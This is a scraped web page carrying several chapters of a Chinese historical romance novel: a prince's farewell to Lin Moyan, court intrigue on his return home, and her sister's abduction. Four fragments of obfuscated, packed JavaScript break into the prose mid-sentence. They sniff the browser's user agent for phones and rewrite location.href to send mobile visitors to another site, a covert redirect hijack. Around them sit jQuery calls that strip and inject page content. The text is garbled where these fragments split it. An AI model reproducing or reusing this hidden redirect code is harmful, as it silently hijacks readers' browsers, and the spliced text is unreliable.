l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485256|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天再说也不迟。”林默言说道。 江晏翻墙出了林府后,边走边想着方才发生的事。每每想起林默言,他总是控制不住自己的笑容。此刻江晏心情甚好,一路上大步流星,如沐春风。 回到客栈后,有一人站在他的房前,看着已经等待良久。 “八皇子殿下。”那人向着江晏走来,说道:“宸妃娘娘下达命令,让我这次务必要把您带回去。” 再次见到陆辞,江晏知道自己这次是非回去不可了,叹道:“母妃为何如此急着唤我回去?” “属下只是负责执行命令,其他的无从知晓。”陆辞回答道。 “也罢也罢,是该回去了。”江晏叹道。不知不觉间来到西启已有近半年的时间,前段时间母妃叫他被他推脱,如今是该回去一下了。黎国那边的一些事,也不宜再拖了。 “好,我跟你回去。只是我还需休整休整处理一些事情,过两日再走吧。”江晏对陆辞说道。 江晏能跟他回去已经做出了很大的让步,陆辞没再催赶,妥协道:“谨遵殿下所言。” 第二日,江晏先是去找了秦初。他和秦初还有一些事务要进行对接。 今日的秦初意外的看起来心情非常不错,整个人都神清气爽的,少了几分往日里的板正。 在与江晏对接完事务,已是午后了。秦初笑道:“江兄这是,要回黎国了?” “还没到告别的话题呢,秦兄如何得知?”江晏奇道。 秦初忍俊不禁道:“很难猜吗?江兄难得如此勤快,将所有积压的事务半天之内完成了。除了这个,我想不到别的理由。” “被你猜中了也好,倒是可以少几句告别时的酸话。”江晏释然一笑道。 “那你还会再来西启吗?”秦初问道。 “自然是要来的。不出意外的话,下一轮贸易的负责人,还会是我。”江晏笑道:“不仅是因为这个,我还有其他想要来的理由。” “是言儿,对吧?”秦初直接点出了江晏的心思。 江晏倒也毫不在意自己的心思被看穿,十分坦率道:“秦兄何必明知故问?我倾心于她,只是还未找到合适的时机表明。等有机会了,我再与她细细道来吧。” “感情一事确实草率不得,况且言儿也是一个用情至深的人,我不希望她受到任何伤害。若今后你真的可以伴她左右,定要好好待她。”秦初十分认真的说道。 “秦兄尽管放心,江某也是一个弱水三千只取一瓢之人。若有机会伴她身侧,也算三生有幸了。”江晏说道。 秦初点了点头,说道:“有江兄此言,我也算放心了。只是言儿的心思我也拿不准,你马上要离开西启,就去见一见她吧,同她好好道个别。” “那便再会了,秦兄。”江晏难得十分规矩的向着秦初行了一礼。 “再会。”秦初回之一礼。 离开太子殿后,江晏本想去找林默言,却又被其他事务绊住脚步。这一番折腾下来,待到他将所有事务处理好时,时间已至傍晚。 25. 第 25 章 “我还以为,你今日不会来了。”夜幕低垂,星河渐隐。林默言看着眼前姗姗来迟的江晏歪头说道。 “凡是我说出口的话,就一定会履行的。”江晏笑道:“无论多晚,我都会来。” 已至深秋,又到了桂花快要凋零的季节。空中有点点花瓣洋洋洒洒的飘落,丝丝香气抚过林默言的鼻尖。再一抬眼,江晏折了一串桂枝拿在手中,冲林默言挑了挑眉。 “这是何意?”林默言看着江晏向她伸出的桂枝,不解道。 “你之前不是说过,我们一见面就打架吗?”江晏看着她,眼底眸光闪烁,充满笑意,说道:“所以呢,今日我就想再打一场。不过这次,不是与你对打。” 林默言正云里雾里,就见江晏轻笑着向后退了几步。随后侧对着她,利落出手,开始舞动手中的桂枝。 江晏以桂枝为剑,清风抚过,手中的桂枝摇曳生姿。他的身姿轻盈,出手刚劲利落又不失观感。桂枝舞动,在空中划出一道道优美的弧度,如同流星划过夜空。此刻江晏的身影与月色交相辉映,仿佛在与月色共舞,衣袂飘飘,俊逸非凡。如画中仙,飘逸灵动。 林默言忽觉霎时天光大亮,银辉洒落,抚过他俊逸的脸庞,将那完美的轮廓勾勒描摹。若此刻他手中的桂枝换做是剑,定会是剑光缤纷,纵如洗练,如贯虹的白烁。执剑之人从容不迫,信手拈来,一招一式不疾不徐,纵横在林默言眼前。 看着眼前的江晏,时间仿佛在此定格。林默言隐隐猜到,江晏此次或许是来与她告别的。 江晏立于月色之下,闭目凝神。片刻后,开始转换招式。时而刚劲利落,如江海奔腾;时而不疾不徐,如细水长流。行云流水,婉转流畅。 漫天花瓣迎风飞旋,随着气流舞动跳跃。江晏停手,利落的挽了一个剑花,将桂枝开花的那头对向林默言,眸中闪烁着坚定与柔情,缓缓开口道:“折桂赠与佳人,不知可否博得一笑呢?剑舞已罢,满意与否?” “想要博我一笑,那还不简单?我不是经常对着你笑吗?”林默言依他所求,不由自主的扬起了明媚的笑颜。“至于是否满意,如果我说不,你会再来一次吗?” 江晏看出了她的小心思,笑道:“能得林大小姐赏识,实乃三生有幸。只是今日恐怕不行。待日后有机会,我定会做到让你满意为止。 此时林默言的心中猜想已呼之欲出。林默言静静看着她,等他继续说下去。 “言儿……”这是江晏第一次这样称呼她,开口之时,呼吸亦有些微微颤抖。林默言听到他如此称呼,稍稍错愕,心跳快了几分。却也还是很快开口,回应了他一句“嗯。” 江晏觉得这般亲昵的称呼,是非常重要的人才可以叫的,因此从前并未这样叫过她,以免冒犯。此刻见林默言没有反驳他这样的叫法,江晏才继续开口说道:“我要回黎国了,今晚便起程。我来此,是想与你好好告个别。” 林默言虽平时看着不拘小节,但每逢遇到离别的场景时,却总不知道该说些什么。看着江晏,林默言的心颤了颤,未经过多思考下意识问出了一个问题。“那你之后还会再来西启吗?” 问完之后,林默言又微微觉得有些不妥。但江晏却笑着开口,回答她道:“自然是会来的。或许要不了多久,我就会再次站到这里,与你相见。” 这一刹,林默言似有许多话想要与他说,但辗转片刻,到嘴边时只剩一句:“那便再会了。江晏,你多多保重。” “嗯。”江晏始终看着她,冲她点点头,说道:“那么,陪我走完这段路吧。” 林默言跟在了江晏身旁,陪他一同向前走。与其说是赶路,倒更像是在悠闲踱步。 “言儿?”江晏突然开口叫道。 林默言以为他还有什么事要说,便回头看向他,应答道:“嗯?” 江晏听到了她的回应,眼底笑意更甚,却没有说其余的话,而是稍稍换了语调继续叫道:“言儿?” “嗯。”林默言难得没有不耐烦,继续应答道。 不料江晏却像是叫上了瘾,继续柔声唤了她一句“言儿”。 “听到了听到了,我在这呢。”林默言无奈道:“你还叫上瘾了?无不无聊啊你,太幼稚了!” 看着眼前叉腰看向他的林默言,江晏抬手,为她的发髻上簪了一朵小小的桂花,笑道:“我只是突然想叫一下你。而且我这么无聊又不是第一次了,你还没习惯吗?” “我为什么要习惯你这个讨厌鬼?”林默言口是心非道。 江晏也学着她的样子叉腰不甘示弱道:“那我不管,你就是得学会习惯。”言语动作之间,竟将林默言的那份刁蛮劲学的有几分像。 林默言也看出了江晏是在学她,愠怒道:“你!” 离别的几分酸涩气氛顿时又被冲散,两人又如同以往一般,嬉笑打闹起来。像这般一闹腾,林默言的心底却不知为何突然如雨后晴天,霎时清明。方才的几分伤感与不自在也捎之脑后。 谈笑打闹之间,两人走到了江晏住的客栈。 江晏顿足,按住了她不老实的手,说道:“好了,先不闹了。就送到这里吧。” 离别时,江晏笑着摸了摸她的头。正准备转身上楼,林默言却突然做出了一个令江晏意想不到的举动。 林默言把眼一闭把心一横,豁出去般微微踮起脚用双手环住他的脖颈,短暂的抱了他一下。江晏猝不及防被她的这股力道一拉,被迫俯下身来,下巴靠在了她的肩上。江晏心中一动,正想抱她一下时,林默言却突然松开了手,逃也似的跑开了。 “再会!”林默言慌不择路的向前跑去,只留给了他一个背影。 江晏看着离去的林默言微微失神,脖颈上还残留着方才的触感。片刻后,江晏释然一笑,向楼上走去。 “可以走了吗,八皇子殿下?”陆辞看着晚归的江晏,毕恭毕敬道。 江晏点点头,说道:“嗯,起程吧。” 江晏嘴角的笑犹未散去,笑意甚是明显,陆辞便多嘴问了一句:“不知有何事让殿下如此高兴?” “这个嘛,先不能说。”江晏神神秘秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485257|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。陆辞便也很识趣的没再多问。修整片刻后,江晏和陆辞一起快马加鞭向着黎国赶去。 “拓跋宇那边,近日有什么动静吗?”太子殿内,秦初问萧肃道。 “禀殿下,暂时没有什么动作。” “语儿那边,可还安好?” “一切如常。”萧肃如实说道。 秦初叹了口气。这些天他一直让萧肃暗中盯着拓跋宇的动向以及暗中保护语儿,但这样一直在暗中盯着语儿总归不太好。秦初害怕给她造成不必要的困扰,于是说道:“如今的形势扭转了些,想来应该不会再出什么乱子。语儿那边,不必再时时刻刻盯着了。” “遵命。”萧肃行礼后,退出了内殿。 秦初坐在案前,凝眉思索。黎国的使节团已经离开了西启,不日之后,拓跋宇也要领着队伍回归漠北。外交事务告一段落后,他的事情便也少了一些。如此的话,便也终于可以有心思去处理一下他和语儿之间的事了。 上次语儿醉酒时他趁机套出了一些话,语儿并不讨厌他,这一点已经足够让他庆幸了。一想到那天自己还抱了他,秦初的心更是愈加澎湃。想起林默语醉酒时的模样,此刻秦初突然很想去见见她。但终归还是压下了这个想法,待所有事务尘埃落定后再说吧。 林默言一路小跑着回了林府,此刻她的内心可谓是七上八下。原本她想要问问江晏对她到底是什么看法,但话到嘴边,却还是说不出口。林默言突然就懂了秦初在面对语儿时那份别扭的心情。果然感情会让人昏头,连平日里如此果断的她也变得优柔寡断起来。 “姐姐,你回来了?” 林默语突然说了一句话,正在出神的林默言被吓了一大跳,看向她说道:“语儿,这么晚了你还没睡啊?” “姐姐你这一整天都魂不守舍的,我怎么放心睡?” “我……我哪有魂不守舍的?语儿休要胡说!”林默言错开她的目光,眼神躲闪。 林默语伸手摘下了林默言头上那朵小小的桂花拿给她看,笑道:“还说没有?哎,看来我的姐姐要留不住喽。” “语儿你翅膀硬了,竟然敢随意编排姐姐?!”听到妹妹的调侃,林默言气鼓鼓的伸出手捏住她的脸,将她的脸捏出了一个弧度。 “语儿不过是实话实说而已……”林默语被她捏住了脸,口齿略微含糊不清道。 林默言松开了手,叹道:“先不说这些有的没的,我还不知道以后能不能再见到他呢。虽然说他告诉我他还会再来西启,但承诺这种东西,我总觉得轻飘飘的。” 林默语伸手摸了摸被她捏过的脸,说道:“姐姐何必忧心呢?感情一事,虽讲究缘分。但如果他真的有心于你,又岂会被这点距离打败?若他真的因此而放弃了你,那就说明他的喜欢也不过如此。” “说的也对。语儿虽不入爱河,却总是比我通透的多。”林默言靠在了她的肩上,看着满天月色,心思也跑到了十万八千里外。 林默语也没再说话,只是在心里默默想着,不入爱河,她真的做到了吗? 26. 第 26 章 赶了几天路后,江晏到达了黎国。他一改在西启闲散玩乐的作风,又恢复了以往在黎国时盛气凌人的模样。 江晏刚一进入皇宫,就已经有人等候他多时了。江晏一看到此人,立马换了一副面孔,目光冷了几分,挂起了假的不能再假的微笑。 “八弟此去西启这么久,为兄甚是想念啊。”江怀笑的比他更假惺惺。 “我也甚是想念太子殿下。”江晏昂起下巴扫了他一眼,冷笑道:“客套话就此打住。麻烦太子殿下,不要挡路。” “为兄不过是想关心你一下,八弟何必如此避如蛇蝎?不知八弟此程可还顺利?”江怀像是听不到他的后半句话,顾自问道。 “顺利的很,不牢太子费心了。”江晏的目光不想在他身上多停留半刻,冷笑着直接绕开了他。这半年来在西启逍遥惯了,生活太过安逸,倒令他有几分不习惯在黎国时笑里藏刀的日子。 江怀站在原地看着他,脸上依旧是假惺惺的笑容。 江晏入宫后的第一件事,就是前去拜访生母宸妃。母妃如此急着找他回来,不知有什么要事。想到这里,江晏加快了脚步走向母妃的寝殿。 宸妃居住的宫殿华丽至极,甚至一度比肩父皇的寝宫。江晏知道,这是父皇曾许诺给母妃的盛宠。但他很清楚母妃想要的从来不是这些,也不是掌管后宫的权力。母妃所求的,从来都只是一颗真心。可惜真心往往是帝王家最难求之物。 江晏推开门。宫殿内坐着一位雍容华贵,端庄大气的美人。脸上虽已略显老态,但面容依旧十分精致,哪怕是不施粉黛也足以艳压群芳,丝毫不逊色于二十多岁年轻貌美的小姑娘,反倒是岁月的沉淀让她的美多了几分韵味。 江晏走上前,行礼道:“儿臣参见母妃。” 宸妃听到这个久违半年的声音很是高兴,起身将儿子拉了过来,说道:“晏儿,你可算回来了。” “嗯。母妃如此急着叫我,我自然是要回来看看的。”江晏说道:“不知母妃可有什么要紧的事?” 许久未见到儿子,宸妃难掩喜悦之情,一颦一笑动人心弦。“若没有什么事母妃便叫你不得了?黎国与西启互通贸易之事已经基本定了下来,暂时不需要你亲力亲为。你离开这么久,怎能让母妃不担心?还有煜儿也是,整日不归家,你们两个都不让人省心。” 听到母妃又将他们二人拉在一起比较,江晏有些不满道:“母妃怎能这样说?我去西启可是为了办正事的,而他是整日花天酒地,这能一样吗?” 见他还和小时候一样喜欢贫嘴,宸妃笑道:“好好好,你最让母妃省心。” 江晏闻言爽朗一笑道:“这才对嘛。” 与母妃寒暄一会儿后,江晏起身告辞,离开母妃的寝殿前往自己的宫殿中修整。明日父皇就要为他举办一场隆重的接风宴,他还要留些精力去应付那些八面玲珑的场合。黎国的一些事务,也需要他亲自梳理一番了。 第二日,父皇为他举办了一场盛大的接风宴,宫里宫外,排场十足。皇帝特命朝中大臣和皇子公主们都必须到场,如此大的阵仗,令人唏嘘不已。江怀当场脸就绿了,他贵为当朝太子尚未有过如此大的排场,而江晏不过是去了一趟西启,就如此隆重的为他接风洗尘。 江晏猜到江怀这种善妒的人一定会气的不轻,欣然接受了父皇为他准备的一切,十分高调张扬的前去赴宴。 大殿之上,皇帝的龙椅两旁设有两个位子,宸妃和皇后一左一右侍奉君侧。文武百官和皇家子弟落座于大殿两侧。江晏一袭庄肃黑袍走进大殿参拜,众人的目光向他聚集。 “吾儿快快请起,入座吧。”皇帝说道。 江晏回到了座位上。皇帝率先举起酒杯为自己的儿子接风洗尘,众人也纷纷举杯。在一旁的宸妃也跟着举杯时皇帝按下了她的手,递给她一杯茶,轻声说道:“爱妃不胜酒力,还是以茶代酒吧。” 宸妃笑着接过。另一旁的皇后看着自己手中的酒杯,脸色很是难看。 江晏也举起酒杯回礼,众人一同将酒喝下。宴会正式开场,精心打扮的舞女上场献舞。娉娉袅袅,婀娜多姿。这让江晏不禁想起了之前在芜山查案时林默言的一舞。 宴会开场后,许多人端着酒杯上前同他搭话。江晏现在是皇帝面前的红人,朝中大臣都想与他结交巴结一番。他现在虽不是太子,但并不代表以后不会是。宸妃一直以来都宠冠后宫,若不是她没有让儿子参与皇权斗争的想法,她的儿子或许早已子凭母贵,将太子之位收入囊中了。如今江怀的太子之位并非是不可动摇的,在许多大臣眼里,江晏也是很有希望登上帝位的皇子。 面对上前搭话恭贺的诸位大臣,江晏十分圆滑的从容应对。在朝堂见多了尔虞我诈的斗争,虽说厌倦,他倒也逐渐养成了一种八面玲珑之态。哪怕是面对讨厌的人或是厌恶的场合,他也能坦然应对。 众人离去后,江晏叹了口气,看着杯中之酒微微出神。 “江晏哥哥,好久不见。”片刻后,耳畔突然传来了一位少女灵动俏皮的声音。 应付了那么多假惺惺的人,终于来了一个顺眼的。江晏收回思绪,笑道:“是亦然啊。” 徐亦然冲他眨眨眼,四周环视了一下,问道:“江煜呢?今日是你的接风宴,作为哥哥,他都不来为你接风洗尘吗?” “江煜向来不喜欢这种场合,我就没指望他会来,他要是来了那才奇怪。”江晏轻轻晃动着手中的酒杯,眉宇间浮现点点笑意,说道:“倒是亦然你,今天来不是为我接风的吗?怎么关心起他来了?” “我才没有,随便问问而已。”徐亦然漂亮的脸蛋上充满傲娇。 寒暄片刻后,江晏问道:“徐老将军最近如何了?他的伤好了吗?” 听他提起父亲,徐亦然摇了摇头,叹道:“自与鲜卑的那一战后,他的身体就大不如前了。但父亲不服老,我们做儿女的也劝不住他。此次征战漠北,他恐怕又要出征了。” 作为一个习武之人,江晏完全能够理解徐老将军的心情。对于徐老将军这样的人来说,比起庸庸碌碌过完下半生,他应该更愿意战死沙场。而且对一个常年征战沙场领兵统帅的人规劝他老了要停下来休息,也是一件很残忍的事。 思索片刻后,江晏说道:“也罢,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485258|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军既有此心,那便顺了他的愿吧。我也相信,他不会轻易倒下的。” “那你呢?你刚从西启回来便要上战场吗?”徐亦然问道。 “这是当然。”江晏点点头,说道:“我做主帅,时刻照应着徐将军,你也能更加放心些不是吗?” 江晏此次匆忙赶回黎国,一来是因为母妃的传唤,二来是因为黎国与漠北的战事。黎国与漠北各族多年来纷争不断,战火断断续续从未停歇。黎国多数处于被动应战的状态,此次养精蓄锐后,打算主动出击,将蛮夷之族驱逐出祁连山一带,以绝后患。 江晏的实力徐亦然是清楚的,与鲜卑一战能够大捷他有很大的功劳。不需过多质疑。若是他做主帅,父亲也会心服口服。 “话虽这样说,但你也要多加小心些才是。我知你是天纵英才,但战场总归是凶险的。”徐亦然对江晏说道。 宴会结束后,江晏和徐亦然一起离场。方才的话题过于沉重,江晏重新开启了另一个话题,边走边聊着他在西启经历过的趣事。徐亦然听他说着,一路笑个不停。 “姐姐,我已得了爹爹的应允。这些天,我想回幽州的顾家旧址看看。”西启内,林默语对姐姐说道。 “需要我陪你一起吗”林默言问道。自从母亲去世后,语儿每隔一段时间就会回去看看。林默言知道自己劝不住她,之前陪她回去过几次。 “不必了,我一个人也可以的。姐姐你还是留下来照看爹爹吧,殿下那边,应该也有事务需要你的协同。”林默语说道。 林默言思考片刻,觉得语儿说的不无道理。父亲近日事务繁多,身体也因此越来越差,总得有人照看着他。于是林默言说道:“那语儿一定要照顾好自己,此去幽州路途遥远,语儿快去快回吧。” “嗯,我知道了。姐姐也要多保重。”林默语说道。 此去幽州,少说也要小半个月,林默言不知为何还是有点担心,心中总有些隐隐的不安。她千叮万嘱,为语儿准备好了路上所要用的东西,随后一直护送她到了驿站。 临走之时,林默言还是不放心道:“语儿,此程舟车劳顿,一定要照顾好自己啊!” 林默语看着姐姐,轻轻一笑,说道:“知道了,姐姐你快回去吧。” 林默言回到林府后,发现秦初竟不知何时来了林府。林默言暗自叹息,他终归还是来晚了一步,没能送送语儿。 “言儿,你们方才去哪了?语儿她不在府中吗?”秦初问道。 “语儿她去幽州了,方才刚走。”林默言说道。 闻言,秦初略微有点失落,他并不知道语儿要去幽州的消息。但细想来,其实她也并没有必须要向自己报备的义务。 林默言看出了秦初的失落,安慰他道:“无妨,语儿又不是不回来了。有什么话,等她回来了再说也不迟。” 秦初苦笑一番,说道:“言儿说得对。如今她既不在,那么此事先往后放放。我今日来,还有一些事务要与你相商。” “我猜到了。太子殿下,请吧。”林默言笑道。 林默言和秦初一同前往内殿,开始商讨西启事务。 27. 第 27 章 “拓跋宇前日已带领使节团回往漠北,想来暂时不会出什么岔子了。但此事牵涉颇多,我们还需多提防些。”秦初神情肃然,对林默言说道。 “听闻近来漠北与黎国又生战事,若真让他们赢了,于西启而言,只恐不利。”林默言说道:“但两国交战,暂时还未牵扯到我们的利益。现在就撕破脸面,也没有好处。我们还是不要急着站队,要不要出手,还需静观其变。” 秦初笑道:“这也是我的想法,我虽有意与黎国结盟,但战争此等劳民伤财的大事,的确需要多加考量。在必要的时候,我们只需独善其身即可。“ 林默言托着腮微微歪头看向他,直言不讳道:“说起来,人人都想做这天下共主,将各国领地收入囊中。那秦初你呢?你就没有这个想法吗?” 秦初倒也没有过多犹豫,回答道:“数百年以来,想要攻破黎国的先辈不是没有。可下场又是什么呢?不仅劳民伤财致使西启民不聊生,还差点让蛮夷之族坐收渔翁之利,百年基业险些毁于一旦。所以,我的志向并不在此。我只想做一个贤明的君主,为黎民,为社稷。” 林默言笑道:“我倒觉得你的志向是好的。西启的局势近几年才刚稳定下来,也不宜以扩张为由对外征战了。” “且先不说这些了。关于芜山官银一案,国师那边似乎有了新的动向。”秦初说道。 听他又提起容玦,林默言微微垂首思考。此人刚入朝堂一年左右,便搅起了一番腥风血雨。林默言还从未亲眼见过这位国师,不禁有点好奇这会是怎样的一位人物。 “范崇那里,还是没有问出什么吗?”林默言问道。 秦初摇了摇头,无奈道:“没有。各种刑罚都已使过了,但始终撬不开他的嘴。” 林默言咂舌道:“看不出来啊,竟还是个硬骨头。我先前还以为,是个贪生怕死的。” “不管是出于何种原因,范崇这条线索,恐怕就此断掉了。容玦的行踪不定,我们还需盯紧些。”秦初说道。 “许州芜山那边,还需要我去看看吗?”林默言问道。 “暂时不用。至于容玦那边,我也已派人盯着了。”秦初说道。 随后,他又想起了另外一茬,抬头看向林默言,对她说道:“言儿,还有一事。近来林丞相忙于朝政过于操劳,我怕他的身体支撑不住。你要多加规劝些。” 对于父亲的身体,林默言亦是万般担心却也万般无奈。父亲向来心系朝堂心系百姓,这么多年以来,林默言觉得他除了朝政外似乎没有自己的生活,没有别的事要做。 林默言点头道:“嗯,我知道了。我会好好劝他的。” 行至京城外,已差不多赶了两三天的路程。沿途之中,林默语稍作歇息。除了必要的时候,她也鲜少会出京城。上一次去幽州的顾家旧居,已经是几年前的事了。 再次踏上前往幽州的路,林默语的心情十分复杂,幼时与母亲一同前往幽州的场景仍旧历历在目。 那时的岁月宁静而美好,春花秋月,四季更迭,平淡却又快乐。至少,那时母亲还在她们身边。 看着眼前的道路,林默语的脑海中闪过无数画面——出发时前来送她们的父亲和姐姐,到达顾家后热情迎接的各位舅舅…… 脑海中记忆翻涌,当年的一幕幕再度明晰,最终却定格在了顾家满门被屠,血流成河尸骨遍地的画面。惊雷炸响间,母亲身首异处,死无全尸。 那幅画面已深深刻入了幼时林默语的脑海之中,时至今日,再度回忆起那血腥的场面依旧毛骨悚然。 林默语猛然惊醒,努力将母亲怒目圆睁,死不瞑目的脸庞甩出脑海。片刻的恍惚间,心跳和呼吸已然凌乱。看来无论过了多久,再度回想到那时的场景仍会触目惊心。 逗留已久,到了继续赶路的时候了。再过几天,就能抵达幽州。林默语收回思绪,努力平复着凌乱的心跳,将目光从那触景生情的地方移开。 林默语转身,刚准备向前迈步,一黑衣人趁着她边走神边转身时的空当对着她的后颈重重一击。林默语来不及躲闪,在反应过来的一瞬间便已失去意识。 再次睁开眼时,林默语只觉得天旋地转,浑身无力。眼前一片模糊,林默语正想起身,却惊觉自己的手脚已被牢牢捆住,动弹不得。 她处事向来冷静,面对此等情形,虽是头晕眼花疲惫不堪,却也尽快冷静了下来,意识到自己可能是被人绑架了。 眼前的场景逐渐聚焦,林默语抬头,发现自己被困在一个较为狭小的空间里。同时她的周身感受到了细微的摇晃,一阵风吹过,掀起了一旁的帘角,外面的景色从她的眼前疾驰而过。现在她可以确定,自己此时正身处于一辆马车之上。 “醒了?”身后传来了一道颇有些熟悉的男子声音,带着几分戏谑。 林默语猛地回头,眼前赫然是拓跋宇的那张脸。一时之间,林默语顿觉指尖冰凉。若她记的没错,拓跋宇早在她出发的前几日就已经走了,为何会突然出现,还绑了她? “你……”林默语开口,这才确切的体会到此刻的自己有多虚弱,想来是拓跋宇动了什么手脚,让她应该足足昏睡了好几天。那么这也就意味着,她已经偏离西启的方向很远了,且距离漠北越来越近。 林默语没有力气再开口,恶狠狠的看向他。若眼神能杀死一个人,那此刻她恐怕早已将拓跋宇碎尸万段。 “好久不见了,小美人。”拓跋宇却镇定自若的迎上了她的目光,笑道:“我说过,你一定会跟我走的。你说,这算不算言出必行呢?” “你无耻!”林默语愤然道。但此刻的她毫无力气,气息绵软,气若游丝,丝毫没有威慑力。拓跋宇看着奋力挣扎的她,眼底的玩味更甚。 “不必如此,你也应该清楚,挣扎是没有用的。不如心平气和一点,乖乖跟我回漠北吧。”拓跋宇说道。 “你疯了?西启早已明令拒婚,没有将我许配给你。你如此贸然将我掳走,你知道会是什么后果吗?你就不怕西启与漠北之间因此事翻脸吗?”林默语几乎是用尽全力才将这段话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494018|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完整说出,她实在无法理解眼前这个疯子的所作所为。 林默语乃丞相林瞻远之女,身份异常尊贵,甚至高于朝中的众多公主。她若是出事,两国关系必定恶化。拓跋宇不会不明白如此简单的道理。 谁知拓跋宇却轻蔑一笑,幽幽道:“你不会当真以为,我此去西启,是为建交吧?看来林小姐也不过如此嘛,没有传闻中那般冰雪聪明。” 林默语当然知道他不会与西启交好,只是未料到他竟如此这般不管不顾,公然与西启撕破脸面。 “你这个疯子……”林默语咬着牙,喃喃道。 “那又如何?我只需不择手段得到我想要的。”拓跋宇挑起她的脸凝视片刻,笑道:“这张脸,不论怎么看,都美不胜收。” 林默语厌恶地别开脸,却见拓跋宇拍了拍手,命人呈上来一碗看着状似粥的东西。随后对林默语说道:“你已经许久未吃东西了,喝了它。” 说着,拓跋宇便将那碗粥送到林默语的嘴边,林默语却依旧厌恶地别开脸,只留给他一个冷冰冰的侧脸。 “怎么?害怕我给你下毒?”拓跋宇笑道:“你大可不必这样想。我若是想让你死,早在很久之前你便活不成了。” “拿开。“林默语冷冷道。她此刻虽然饥肠辘辘,却也不想碰拓跋宇的东西。 “我说,你该不会是想直接饿死自己吧?”拓跋宇轻挑的看着她,那目光,仿佛在欣赏着一个甚是满意的猎物。 林默语不屑一顾道:“是又怎样?总比被你带去漠北折辱要好得多。” 话音未落,拓跋宇强行挑起了她的下巴,强硬的掰开她的唇齿,将那碗粥硬生生从她的嘴里灌了下去。 林默语被这突如其来的一举弄得够呛,粥强行灌入了她的喉咙,使得她难受不堪,猛烈地咳嗽了好几下。 拓跋宇看着眼前连连咳嗽的林默语,故作轻柔的拍了拍她的背,意味深长道:“何必寻死觅活呢?要我说,好死不如赖活着,对吧?” 林默语胸膛剧烈起伏着,她的四肢被牢牢捆着动弹不得,只得怒目而视着拓跋宇。 “去了漠北之后,我定是不会亏待你的。我希望你乖乖听话,个中道理,你应当明白的。你自己再好好考虑清楚吧。”拓跋宇说完,拂袖而去,留下林默语一人在马车里凌乱。 林默语极力压下自己想要呕吐的不适感,靠在车壁上微微仰起头,迫使自己冷静下来。现在她已恢复了些精力,开始思考对策。 她现在的处境,可谓是苦不堪言。若是到了漠北,将会更加艰难。在一个人生地不熟的蛮夷之地,定会是如履薄冰腹背受敌。更要命的是,现在所有人都以为她去了幽州,等他们发现不对劲时恐怕她已抵达漠北了。 但她坚信,父亲和姐姐是无论如何都不会放弃她的。只要她将这段时间坚持下来,坚持到他们发现不对劲,一切就还有希望。 虽是这样想着,林默语心中的崩溃却还是几近溢出。她重重的垂下头,将自己缩成一团,缩在一个小小的角落里。 28. 第 28 章 黎国内,江晏前去寻找了徐老将军,商讨此次出征的各项事宜。 徐老将军递给江晏一杯茶,江晏看出,他那只受过伤的手现在仍有些微微颤抖。 “殿下,此次押运粮草一事,臣已交由景浩处理。待他到达后,前线那边,也暂由他和裴副将把守。老臣思量许久,最终还是决定让他上战场历练一番。“徐老将军对江晏说道。 江晏将杯中之茶抿了一小口,说道:“此事我倒是并无异议,将军按照自己的想法来即可。景浩现如今已满十五,上战场历练一番也未尝不可。” 徐景浩乃将门徐家这一代的独子,家中位列第三,乃是徐亦然的亲弟弟。因徐老将军的手足多死于战场,徐家这一代子嗣绵薄,只有他们姐弟三人。至于他们的大姐徐亦涵也在几年之前嫁给二皇子江洵为妃,夫妻之间倒也算恩爱和睦。 徐老将军老来得子,对于徐景浩这个独子非常器重。而徐景浩也没有辜负父亲的期望,自幼胸怀抱负醉心练武,有望继承其父的衣钵。 只是在他十五岁之前,江晏一直极力反对他上战场。江晏深知战场凶险,毕竟他自己也是在十五岁之后才第一次上战场,未免徐家绝后才一力阻拦。现如今徐景浩已满十五岁,此次算是他第一次上战场。 这一次黎国打算主动出击逼退鲜卑一族,采用了兵马未动粮草先行的战略。徐景浩先负责押运粮草前去与驻扎前线的裴副将汇合,江晏和徐老将军在准备好各项事宜后带领大军入境征战。 此刻看着徐老将军,江晏不免还是有点担心,问道:“将军,您决定好一定要出征吗?” “八皇子殿下何出此言呢?”徐老将军毫不犹豫地说道:“面对沙场,老臣何曾畏惧?又何曾退缩过?” 徐亦然都劝不动他,江晏也不指望自己可以改变他的想法,便也不再规劝他什么,说道:“将军既有此意,那此次征战晚辈也要多多仰仗您的智慧了。” “八皇子谬赞了,应当是臣多仰仗您才是。”徐老将军恭维道。 